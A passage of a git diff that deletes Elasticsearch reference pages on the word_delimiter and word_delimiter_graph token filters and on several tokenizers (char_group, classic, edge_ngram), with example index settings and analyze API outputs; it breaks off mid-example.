-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a `word_delimiter_graph`
-filter that uses the following rules:
-
-* Split tokens at non-alphanumeric characters, _except_ the hyphen (`-`)
-  character.
-* Remove leading or trailing delimiters from each token.
-* Do _not_ split tokens at letter case transitions.
-* Do _not_ split tokens at letter-number transitions.
-* Remove the English possessive (`'s`) from the end of each token.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "keyword",
-          "filter": [ "my_custom_word_delimiter_graph_filter" ]
-        }
-      },
-      "filter": {
-        "my_custom_word_delimiter_graph_filter": {
-          "type": "word_delimiter_graph",
-          "type_table": [ "- => ALPHA" ],
-          "split_on_case_change": false,
-          "split_on_numerics": false,
-          "stem_english_possessive": true
-        }
-      }
-    }
-  }
-}
-----
-
-[[analysis-word-delimiter-graph-differences]]
-==== Differences between `word_delimiter_graph` and `word_delimiter` 
-
-Both the `word_delimiter_graph` and
-<<analysis-word-delimiter-tokenfilter,`word_delimiter`>> filters produce tokens
-that span multiple positions when any of the following parameters are `true`:
-
- * <<word-delimiter-graph-tokenfilter-catenate-all,`catenate_all`>>
- * <<word-delimiter-graph-tokenfilter-catenate-numbers,`catenate_numbers`>>
- * <<word-delimiter-graph-tokenfilter-catenate-words,`catenate_words`>>
- * <<word-delimiter-graph-tokenfilter-preserve-original,`preserve_original`>>
-
-However, only the `word_delimiter_graph` filter assigns multi-position tokens a
-`positionLength` attribute, which indicates the number of positions a token
-spans. This ensures the `word_delimiter_graph` filter always produces valid
-<<token-graphs,token graphs>>.
-
-The `word_delimiter` filter does not assign multi-position tokens a
-`positionLength` attribute. This means it produces invalid graphs for streams
-including these tokens.
-
-While indexing does not support token graphs containing multi-position tokens,
-queries, such as the <<query-dsl-match-query-phrase,`match_phrase`>> query, can
-use these graphs to generate multiple sub-queries from a single query string.
-
-To see how token graphs produced by the `word_delimiter` and
-`word_delimiter_graph` filters differ, check out the following example.
-
-.*Example*
-[%collapsible]
-====
-
-[[analysis-word-delimiter-graph-basic-token-graph]]
-*Basic token graph*
-
-Both the `word_delimiter` and `word_delimiter_graph` produce the following token
-graph for `PowerShot2000` when the following parameters are `false`:
-
- * <<word-delimiter-graph-tokenfilter-catenate-all,`catenate_all`>>
- * <<word-delimiter-graph-tokenfilter-catenate-numbers,`catenate_numbers`>>
- * <<word-delimiter-graph-tokenfilter-catenate-words,`catenate_words`>>
- * <<word-delimiter-graph-tokenfilter-preserve-original,`preserve_original`>>
-
-This graph does not contain multi-position tokens. All tokens span only one
-position.
-
-image::images/analysis/token-graph-basic.svg[align="center"]
-
-[[analysis-word-delimiter-graph-wdg-token-graph]]
-*`word_delimiter_graph` graph with a multi-position token*
-
-The `word_delimiter_graph` filter produces the following token graph for
-`PowerShot2000` when `catenate_words` is `true`.
-
-This graph correctly indicates the catenated `PowerShot` token spans two
-positions.
-
-image::images/analysis/token-graph-wdg.svg[align="center"]
-
-[[analysis-word-delimiter-graph-wd-token-graph]]
-*`word_delimiter` graph with a multi-position token*
-
-When `catenate_words` is `true`, the `word_delimiter` filter produces
-the following token graph for `PowerShot2000`.
-
-Note that the catenated `PowerShot` token should span two positions but only
-spans one in the token graph, making it invalid.
-
-image::images/analysis/token-graph-wd.svg[align="center"]
-
-====
diff --git a/docs/reference/analysis/tokenfilters/word-delimiter-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/word-delimiter-tokenfilter.asciidoc
deleted file mode 100644
index c65dade6272..00000000000
--- a/docs/reference/analysis/tokenfilters/word-delimiter-tokenfilter.asciidoc
+++ /dev/null
@@ -1,382 +0,0 @@
-[[analysis-word-delimiter-tokenfilter]]
-=== Word delimiter token filter
-++++
-<titleabbrev>Word delimiter</titleabbrev>
-++++
-
-[WARNING]
-====
-We recommend using the
-<<analysis-word-delimiter-graph-tokenfilter,`word_delimiter_graph`>> instead of
-the `word_delimiter` filter.
-
-The `word_delimiter` filter can produce invalid token graphs. See
-<<analysis-word-delimiter-graph-differences>>.
-
-The `word_delimiter` filter also uses Lucene's
-{lucene-analysis-docs}/miscellaneous/WordDelimiterFilter.html[WordDelimiterFilter],
-which is marked as deprecated. 
-====
-
-Splits tokens at non-alphanumeric characters. The `word_delimiter` filter
-also performs optional token normalization based on a set of rules. By default,
-the filter uses the following rules:
-
-* Split tokens at non-alphanumeric characters.
-  The filter uses these characters as delimiters.
-  For example: `Super-Duper` -> `Super`, `Duper`
-* Remove leading or trailing delimiters from each token.
-  For example: `XL---42+'Autocoder'` -> `XL`, `42`, `Autocoder`
-* Split tokens at letter case transitions.
-  For example: `PowerShot` -> `Power`, `Shot`
-* Split tokens at letter-number transitions.
-  For example: `XL500` -> `XL`, `500`
-* Remove the English possessive (`'s`) from the end of each token.
-  For example: `Neil's` -> `Neil`
-
-[TIP]
-====
-The `word_delimiter` filter was designed to remove punctuation from complex
-identifiers, such as product IDs or part numbers. For these use cases, we
-recommend using the `word_delimiter` filter with the
-<<analysis-keyword-tokenizer,`keyword`>> tokenizer.
-
-Avoid using the `word_delimiter` filter to split hyphenated words, such as
-`wi-fi`. Because users often search for these words both with and without
-hyphens, we recommend using the
-<<analysis-synonym-graph-tokenfilter,`synonym_graph`>> filter instead.
-====
-
-[[analysis-word-delimiter-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the
-`word_delimiter` filter to split `Neil's-Super-Duper-XL500--42+AutoCoder`
-into normalized tokens using the filter's default rules:
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "keyword",
-  "filter": [ "word_delimiter" ],
-  "text": "Neil's-Super-Duper-XL500--42+AutoCoder"
-}
-----
-
-The filter produces the following tokens:
-
-[source,txt]
-----
-[ Neil, Super, Duper, XL, 500, 42, Auto, Coder ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "Neil",
-      "start_offset": 0,
-      "end_offset": 4,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "Super",
-      "start_offset": 7,
-      "end_offset": 12,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "Duper",
-      "start_offset": 13,
-      "end_offset": 18,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "XL",
-      "start_offset": 19,
-      "end_offset": 21,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "500",
-      "start_offset": 21,
-      "end_offset": 24,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "42",
-      "start_offset": 26,
-      "end_offset": 28,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "Auto",
-      "start_offset": 29,
-      "end_offset": 33,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "Coder",
-      "start_offset": 33,
-      "end_offset": 38,
-      "type": "word",
-      "position": 7
-    }
-  ]
-}
-----
-////
-
-[analysis-word-delimiter-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`word_delimiter` filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "keyword",
-          "filter": [ "word_delimiter" ]
-        }
-      }
-    }
-  }
-}
-----
-
-[WARNING]
-====
-Avoid using the `word_delimiter` filter with tokenizers that remove punctuation,
-such as the <<analysis-standard-tokenizer,`standard`>> tokenizer. This could
-prevent the `word_delimiter` filter from splitting tokens correctly. It can also
-interfere with the filter's configurable parameters, such as `catenate_all` or
-`preserve_original`. We recommend using the
-<<analysis-keyword-tokenizer,`keyword`>> or
-<<analysis-whitespace-tokenizer,`whitespace`>> tokenizer instead.
-====
-
-[[word-delimiter-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`catenate_all`::
-+
---
-(Optional, Boolean)
-If `true`, the filter produces catenated tokens for chains of alphanumeric
-characters separated by non-alphabetic delimiters. For example:
-`super-duper-xl-500` -> [ `super`, **`superduperxl500`**, `duper`, `xl`, `500`
-]. Defaults to `false`.
-
-[WARNING]
-====
-When used for search analysis, catenated tokens can cause problems for the
-<<query-dsl-match-query-phrase,`match_phrase`>> query and other queries that
-rely on token position for matching. Avoid setting this parameter to `true` if
-you plan to use these queries.
-====
---
-
-`catenate_numbers`::
-+
---
-(Optional, Boolean)
-If `true`, the filter produces catenated tokens for chains of numeric characters
-separated by non-alphabetic delimiters. For example: `01-02-03` ->
-[ `01`, **`010203`**, `02`, `03` ]. Defaults to `false`.
-
-[WARNING]
-====
-When used for search analysis, catenated tokens can cause problems for the
-<<query-dsl-match-query-phrase,`match_phrase`>> query and other queries that
-rely on token position for matching. Avoid setting this parameter to `true` if
-you plan to use these queries.
-====
---
-
-`catenate_words`::
-+
---
-(Optional, Boolean)
-If `true`, the filter produces catenated tokens for chains of alphabetical
-characters separated by non-alphabetic delimiters. For example: `super-duper-xl`
--> [ `super`, **`superduperxl`**, `duper`, `xl` ]. Defaults to `false`.
-
-[WARNING]
-====
-When used for search analysis, catenated tokens can cause problems for the
-<<query-dsl-match-query-phrase,`match_phrase`>> query and other queries that
-rely on token position for matching. Avoid setting this parameter to `true` if
-you plan to use these queries.
-====
---
-
-`generate_number_parts`::
-(Optional, Boolean)
-If `true`, the filter includes tokens consisting of only numeric characters in
-the output. If `false`, the filter excludes these tokens from the output.
-Defaults to `true`.
-
-`generate_word_parts`::
-(Optional, Boolean)
-If `true`, the filter includes tokens consisting of only alphabetical characters
-in the output. If `false`, the filter excludes these tokens from the output.
-Defaults to `true`.
-
-`preserve_original`::
-(Optional, Boolean)
-If `true`, the filter includes the original version of any split tokens in the
-output. This original version includes non-alphanumeric delimiters. For example:
-`super-duper-xl-500` -> [ **`super-duper-xl-500`**, `super`, `duper`, `xl`,
-`500` ]. Defaults to `false`.
-
-`protected_words`::
-(Optional, array of strings)
-Array of tokens the filter won't split.
-
-`protected_words_path`::
-+
---
-(Optional, string)
-Path to a file that contains a list of tokens the filter won't split.
-
-This path must be absolute or relative to the `config` location, and the file
-must be UTF-8 encoded. Each token in the file must be separated by a line
-break.
---
-
-`split_on_case_change`::
-(Optional, Boolean)
-If `true`, the filter splits tokens at letter case transitions. For example:
-`camelCase` -> [ `camel`, `Case` ]. Defaults to `true`.
-
-`split_on_numerics`::
-(Optional, Boolean)
-If `true`, the filter splits tokens at letter-number transitions. For example:
-`j2se` -> [ `j`, `2`, `se` ]. Defaults to `true`.
-
-`stem_english_possessive`::
-(Optional, Boolean)
-If `true`, the filter removes the English possessive (`'s`) from the end of each
-token. For example: `O'Neil's` -> [ `O`, `Neil` ]. Defaults to `true`.
-
-`type_table`::
-+
---
-(Optional, array of strings)
-Array of custom type mappings for characters. This allows you to map
-non-alphanumeric characters as numeric or alphanumeric to avoid splitting on
-those characters.
-
-For example, the following array maps the plus (`+`) and hyphen (`-`) characters
-as alphanumeric, which means they won't be treated as delimiters:
-
-`[ "+ => ALPHA", "- => ALPHA" ]`
-
-Supported types include:
-
-* `ALPHA` (Alphabetical)
-* `ALPHANUM` (Alphanumeric)
-* `DIGIT` (Numeric)
-* `LOWER` (Lowercase alphabetical)
-* `SUBWORD_DELIM` (Non-alphanumeric delimiter)
-* `UPPER` (Uppercase alphabetical)
---
-
-`type_table_path`::
-+
---
-(Optional, string)
-Path to a file that contains custom type mappings for characters. This allows
-you to map non-alphanumeric characters as numeric or alphanumeric to avoid
-splitting on those characters.
-
-For example, the contents of this file may contain the following:
-
-[source,txt]
-----
-# Map the $, %, '.', and ',' characters to DIGIT
-# This might be useful for financial data.
-$ => DIGIT
-% => DIGIT
-. => DIGIT
-\\u002C => DIGIT
-
-# in some cases you might not want to split on ZWJ
-# this also tests the case where we need a bigger byte[]
-# see https://en.wikipedia.org/wiki/Zero-width_joiner
-\\u200D => ALPHANUM
-----
-
-Supported types include:
-
-* `ALPHA` (Alphabetical)
-* `ALPHANUM` (Alphanumeric)
-* `DIGIT` (Numeric)
-* `LOWER` (Lowercase alphabetical)
-* `SUBWORD_DELIM` (Non-alphanumeric delimiter)
-* `UPPER` (Uppercase alphabetical)
-
-This file path must be absolute or relative to the `config` location, and the
-file must be UTF-8 encoded. Each mapping in the file must be separated by a line
-break.
---
-
-[[analysis-word-delimiter-tokenfilter-customize]]
-==== Customize
-
-To customize the `word_delimiter` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a `word_delimiter`
-filter that uses the following rules:
-
-* Split tokens at non-alphanumeric characters, _except_ the hyphen (`-`)
-  character.
-* Remove leading or trailing delimiters from each token.
-* Do _not_ split tokens at letter case transitions.
-* Do _not_ split tokens at letter-number transitions.
-* Remove the English possessive (`'s`) from the end of each token.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "keyword",
-          "filter": [ "my_custom_word_delimiter_filter" ]
-        }
-      },
-      "filter": {
-        "my_custom_word_delimiter_filter": {
-          "type": "word_delimiter",
-          "type_table": [ "- => ALPHA" ],
-          "split_on_case_change": false,
-          "split_on_numerics": false,
-          "stem_english_possessive": true
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/analysis/tokenizers.asciidoc b/docs/reference/analysis/tokenizers.asciidoc
deleted file mode 100644
index fa47c05e3a0..00000000000
--- a/docs/reference/analysis/tokenizers.asciidoc
+++ /dev/null
@@ -1,155 +0,0 @@
-[[analysis-tokenizers]]
-== Tokenizer reference
-
-A _tokenizer_  receives a stream of characters, breaks it up into individual
-_tokens_ (usually individual words), and outputs a stream of _tokens_. For
-instance, a <<analysis-whitespace-tokenizer,`whitespace`>> tokenizer breaks
-text into tokens whenever it sees any whitespace.  It would convert the text
-`"Quick brown fox!"` into the terms `[Quick, brown, fox!]`.
-
-The tokenizer is also responsible for recording the following:
-
-* Order or _position_ of each term (used for phrase and word proximity queries)
-* Start and end _character offsets_ of the original word which the term
-represents (used for highlighting search snippets).
-* _Token type_, a classification of each term produced, such as `<ALPHANUM>`,
-`<HANGUL>`, or `<NUM>`. Simpler analyzers only produce the `word` token type.
-
-Elasticsearch has a number of built in tokenizers which can be used to build
-<<analysis-custom-analyzer,custom analyzers>>.
-
-[discrete]
-=== Word Oriented Tokenizers
-
-The following tokenizers are usually used for tokenizing full text into
-individual words:
-
-<<analysis-standard-tokenizer,Standard Tokenizer>>::
-
-The `standard` tokenizer divides text into terms on word boundaries, as
-defined by the Unicode Text Segmentation algorithm. It removes most
-punctuation symbols. It is the best choice for most languages.
-
-<<analysis-letter-tokenizer,Letter Tokenizer>>::
-
-The `letter` tokenizer divides text into terms whenever it encounters a
-character which is not a letter.
-
-<<analysis-lowercase-tokenizer,Lowercase Tokenizer>>::
-
-The `lowercase` tokenizer, like the `letter` tokenizer,  divides text into
-terms whenever it encounters a character which is not a letter, but it also
-lowercases all terms.
-
-<<analysis-whitespace-tokenizer,Whitespace Tokenizer>>::
-
-The `whitespace` tokenizer divides text into terms whenever it encounters any
-whitespace character.
-
-<<analysis-uaxurlemail-tokenizer,UAX URL Email Tokenizer>>::
-
-The `uax_url_email` tokenizer is like the `standard` tokenizer except that it
-recognises URLs and email addresses as single tokens.
-
-<<analysis-classic-tokenizer,Classic Tokenizer>>::
-
-The `classic` tokenizer is a grammar based tokenizer for the English Language.
-
-<<analysis-thai-tokenizer,Thai Tokenizer>>::
-
-The `thai` tokenizer segments Thai text into words.
-
-[discrete]
-=== Partial Word Tokenizers
-
-These tokenizers break up text or words into small fragments, for partial word
-matching:
-
-<<analysis-ngram-tokenizer,N-Gram Tokenizer>>::
-
-The `ngram` tokenizer can break up text into words when it encounters any of
-a list of specified characters (e.g. whitespace or punctuation), then it returns
-n-grams of each word: a sliding window of continuous letters, e.g. `quick` ->
-`[qu, ui, ic, ck]`.
-
-<<analysis-edgengram-tokenizer,Edge N-Gram Tokenizer>>::
-
-The `edge_ngram` tokenizer can break up text into words when it encounters any of
-a list of specified characters (e.g. whitespace or punctuation), then it returns
-n-grams of each word which are anchored to the start of the word, e.g. `quick` ->
-`[q, qu, qui, quic, quick]`.
-
-
-[discrete]
-=== Structured Text Tokenizers
-
-The following tokenizers are usually used with structured text like
-identifiers, email addresses, zip codes, and paths, rather than with full
-text:
-
-<<analysis-keyword-tokenizer,Keyword Tokenizer>>::
-
-The `keyword` tokenizer is a ``noop'' tokenizer that accepts whatever text it
-is given and outputs the exact same text as a single term.  It can be combined
-with token filters like <<analysis-lowercase-tokenfilter,`lowercase`>> to
-normalise the analysed terms.
-
-<<analysis-pattern-tokenizer,Pattern Tokenizer>>::
-
-The `pattern` tokenizer uses a regular expression to either split text into
-terms whenever it matches a word separator, or to capture matching text as
-terms.
-
-<<analysis-simplepattern-tokenizer,Simple Pattern Tokenizer>>::
-
-The `simple_pattern` tokenizer uses a regular expression to capture matching
-text as terms. It uses a restricted subset of regular expression features
-and is generally faster than the `pattern` tokenizer.
-
-<<analysis-chargroup-tokenizer,Char Group Tokenizer>>::
-
-The `char_group` tokenizer is configurable through sets of characters to split
-on, which is usually less expensive than running regular expressions.
-
-<<analysis-simplepatternsplit-tokenizer,Simple Pattern Split Tokenizer>>::
-
-The `simple_pattern_split` tokenizer uses the same restricted regular expression
-subset as the `simple_pattern` tokenizer, but splits the input at matches rather
-than returning the matches as terms.
-
-<<analysis-pathhierarchy-tokenizer,Path Tokenizer>>::
-
-The `path_hierarchy` tokenizer takes a hierarchical value like a filesystem
-path, splits on the path separator, and emits a term for each component in the
-tree, e.g. `/foo/bar/baz` -> `[/foo, /foo/bar, /foo/bar/baz ]`.
-
-
-include::tokenizers/chargroup-tokenizer.asciidoc[]
-
-include::tokenizers/classic-tokenizer.asciidoc[]
-
-include::tokenizers/edgengram-tokenizer.asciidoc[]
-
-include::tokenizers/keyword-tokenizer.asciidoc[]
-
-include::tokenizers/letter-tokenizer.asciidoc[]
-
-include::tokenizers/lowercase-tokenizer.asciidoc[]
-
-include::tokenizers/ngram-tokenizer.asciidoc[]
-
-include::tokenizers/pathhierarchy-tokenizer.asciidoc[]
-
-include::tokenizers/pattern-tokenizer.asciidoc[]
-
-include::tokenizers/simplepattern-tokenizer.asciidoc[]
-
-include::tokenizers/simplepatternsplit-tokenizer.asciidoc[]
-
-include::tokenizers/standard-tokenizer.asciidoc[]
-
-include::tokenizers/thai-tokenizer.asciidoc[]
-
-include::tokenizers/uaxurlemail-tokenizer.asciidoc[]
-
-include::tokenizers/whitespace-tokenizer.asciidoc[]
diff --git a/docs/reference/analysis/tokenizers/chargroup-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/chargroup-tokenizer.asciidoc
deleted file mode 100644
index 84a29dc5718..00000000000
--- a/docs/reference/analysis/tokenizers/chargroup-tokenizer.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
-[[analysis-chargroup-tokenizer]]
-=== Character group tokenizer
-++++
-<titleabbrev>Character group</titleabbrev>
-++++
-
-The `char_group` tokenizer breaks text into terms whenever it encounters a
-character which is in a defined set. It is mostly useful for cases where a simple
-custom tokenization is desired, and the overhead of use of the <<analysis-pattern-tokenizer, `pattern` tokenizer>>
-is not acceptable.
-
-[discrete]
-=== Configuration
-
-The `char_group` tokenizer accepts one parameter:
-
-[horizontal]
-`tokenize_on_chars`::
-    A list containing a list of characters to tokenize the string on. Whenever a character
-    from this list is encountered, a new token is started. This accepts either single
-    characters like e.g. `-`, or character groups: `whitespace`, `letter`, `digit`,
-    `punctuation`, `symbol`.
-
-`max_token_length`::
-    The maximum token length. If a token is seen that exceeds this length then
-    it is split at `max_token_length` intervals. Defaults to `255`.
-
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": {
-    "type": "char_group",
-    "tokenize_on_chars": [
-      "whitespace",
-      "-",
-      "\n"
-    ]
-  },
-  "text": "The QUICK brown-fox"
-}
----------------------------
-
-returns
-
-[source,console-result]
----------------------------
-{
-  "tokens": [
-    {
-      "token": "The",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "QUICK",
-      "start_offset": 4,
-      "end_offset": 9,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "brown",
-      "start_offset": 10,
-      "end_offset": 15,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "fox",
-      "start_offset": 16,
-      "end_offset": 19,
-      "type": "word",
-      "position": 3
-    }
-  ]
-}
----------------------------
diff --git a/docs/reference/analysis/tokenizers/classic-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/classic-tokenizer.asciidoc
deleted file mode 100644
index f617fddb1bc..00000000000
--- a/docs/reference/analysis/tokenizers/classic-tokenizer.asciidoc
+++ /dev/null
@@ -1,263 +0,0 @@
-[[analysis-classic-tokenizer]]
-=== Classic tokenizer
-++++
-<titleabbrev>Classic</titleabbrev>
-++++
-
-The `classic` tokenizer is a grammar based tokenizer that is good for English
-language documents. This tokenizer has heuristics for special treatment of
-acronyms, company names, email addresses, and internet host names. However,
-these rules don't always work, and the tokenizer doesn't work well for most
-languages other than English:
-
-* It splits words at most punctuation characters, removing punctuation. However, a
-  dot that's not followed by whitespace is considered part of a token.
-
-* It splits words at hyphens, unless there's a number in the token, in which case
-  the whole token is interpreted as a product number and is not split.
-
-* It recognizes email addresses and internet hostnames as one token.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "classic",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "The",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "2",
-      "start_offset": 4,
-      "end_offset": 5,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "QUICK",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "Brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "Foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "<ALPHANUM>",
-      "position": 4
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "<ALPHANUM>",
-      "position": 5
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "<ALPHANUM>",
-      "position": 6
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "<ALPHANUM>",
-      "position": 7
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "<ALPHANUM>",
-      "position": 8
-    },
-    {
-      "token": "dog's",
-      "start_offset": 45,
-      "end_offset": 50,
-      "type": "<APOSTROPHE>",
-      "position": 9
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "<ALPHANUM>",
-      "position": 10
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ The, 2, QUICK, Brown, Foxes, jumped, over, the, lazy, dog's, bone ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `classic` tokenizer accepts the following parameters:
-
-[horizontal]
-`max_token_length`::
-
-    The maximum token length. If a token is seen that exceeds this length then
-    it is split at `max_token_length` intervals. Defaults to `255`.
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `classic` tokenizer to have a
-`max_token_length` of 5 (for demonstration purposes):
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "my_tokenizer"
-        }
-      },
-      "tokenizer": {
-        "my_tokenizer": {
-          "type": "classic",
-          "max_token_length": 5
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "The",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "2",
-      "start_offset": 4,
-      "end_offset": 5,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "QUICK",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "Brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "Foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "<ALPHANUM>",
-      "position": 4
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "<ALPHANUM>",
-      "position": 6
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "<ALPHANUM>",
-      "position": 7
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "<ALPHANUM>",
-      "position": 8
-    },
-    {
-      "token": "dog's",
-      "start_offset": 45,
-      "end_offset": 50,
-      "type": "<APOSTROPHE>",
-      "position": 9
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "<ALPHANUM>",
-      "position": 10
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ The, 2, QUICK, Brown, Foxes, jumpe, d, over, the, lazy, dog's, bone ]
----------------------------
diff --git a/docs/reference/analysis/tokenizers/edgengram-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/edgengram-tokenizer.asciidoc
deleted file mode 100644
index 7bb66f3dd4d..00000000000
--- a/docs/reference/analysis/tokenizers/edgengram-tokenizer.asciidoc
+++ /dev/null
@@ -1,360 +0,0 @@
-[[analysis-edgengram-tokenizer]]
-=== Edge n-gram tokenizer
-++++
-<titleabbrev>Edge n-gram</titleabbrev>
-++++
-
-The `edge_ngram` tokenizer first breaks text down into words whenever it
-encounters one of a list of specified characters, then it emits
-{wikipedia}/N-gram[N-grams] of each word where the start of
-the N-gram is anchored to the beginning of the word.
-
-Edge N-Grams are useful for _search-as-you-type_ queries.
-
-TIP: When you need _search-as-you-type_ for text which has a widely known
-order, such as movie or song titles, the
-<<completion-suggester,completion suggester>> is a much more efficient
-choice than edge N-grams.  Edge N-grams have the advantage when trying to
-autocomplete words that can appear in any order.
-
-[discrete]
-=== Example output
-
-With the default settings, the `edge_ngram` tokenizer treats the initial text as a
-single token and produces N-grams with minimum length `1` and maximum length
-`2`:
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "edge_ngram",
-  "text": "Quick Fox"
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "Q",
-      "start_offset": 0,
-      "end_offset": 1,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "Qu",
-      "start_offset": 0,
-      "end_offset": 2,
-      "type": "word",
-      "position": 1
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ Q, Qu ]
----------------------------
-
-NOTE: These default gram lengths are almost entirely useless.  You need to
-configure the `edge_ngram` before using it.
-
-[discrete]
-=== Configuration
-
-The `edge_ngram` tokenizer accepts the following parameters:
-
-`min_gram`::
-    Minimum length of characters in a gram.  Defaults to `1`.
-
-`max_gram`::
-+
---
-Maximum length of characters in a gram.  Defaults to `2`.
-
-See <<max-gram-limits>>.
---
-
-`token_chars`::
-
-    Character classes that should be included in a token.  Elasticsearch
-    will split on characters that don't belong to the classes specified.
-    Defaults to `[]` (keep all characters).
-+
-Character classes may be any of the following:
-+
-* `letter` --      for example `a`, `b`, `ï` or `京`
-* `digit` --       for example `3` or `7`
-* `whitespace` --  for example `" "` or `"\n"`
-* `punctuation` -- for example `!` or `"`
-* `symbol` --      for example `$` or `√`
-* `custom` --      custom characters which need to be set using the
-`custom_token_chars` setting.
-
-`custom_token_chars`::
-
-    Custom characters that should be treated as part of a token. For example,
-    setting this to `+-_` will make the tokenizer treat the plus, minus and
-    underscore sign  as part of a token.
-
-[discrete]
-[[max-gram-limits]]
-=== Limitations of the `max_gram` parameter
-
-The `edge_ngram` tokenizer's `max_gram` value limits the character length of
-tokens. When the `edge_ngram` tokenizer is used with an index analyzer, this
-means search terms longer than the `max_gram` length may not match any indexed
-terms.
-
-For example, if the `max_gram` is `3`, searches for `apple` won't match the
-indexed term `app`.
-
-To account for this, you can use the
-<<analysis-truncate-tokenfilter,`truncate`>> token filter with a search analyzer
-to shorten search terms to the `max_gram` character length. However, this could
-return irrelevant results.
-
-For example, if the `max_gram` is `3` and search terms are truncated to three
-characters, the search term `apple` is shortened to `app`. This means searches
-for `apple` return any indexed terms matching `app`, such as `apply`, `snapped`,
-and `apple`.
-
-We recommend testing both approaches to see which best fits your
-use case and desired search experience.
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `edge_ngram` tokenizer to treat letters and
-digits as tokens, and to produce grams with minimum length `2` and maximum
-length `10`:
-
-[source,console]
-----------------------------
-PUT my-index-00001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "my_tokenizer"
-        }
-      },
-      "tokenizer": {
-        "my_tokenizer": {
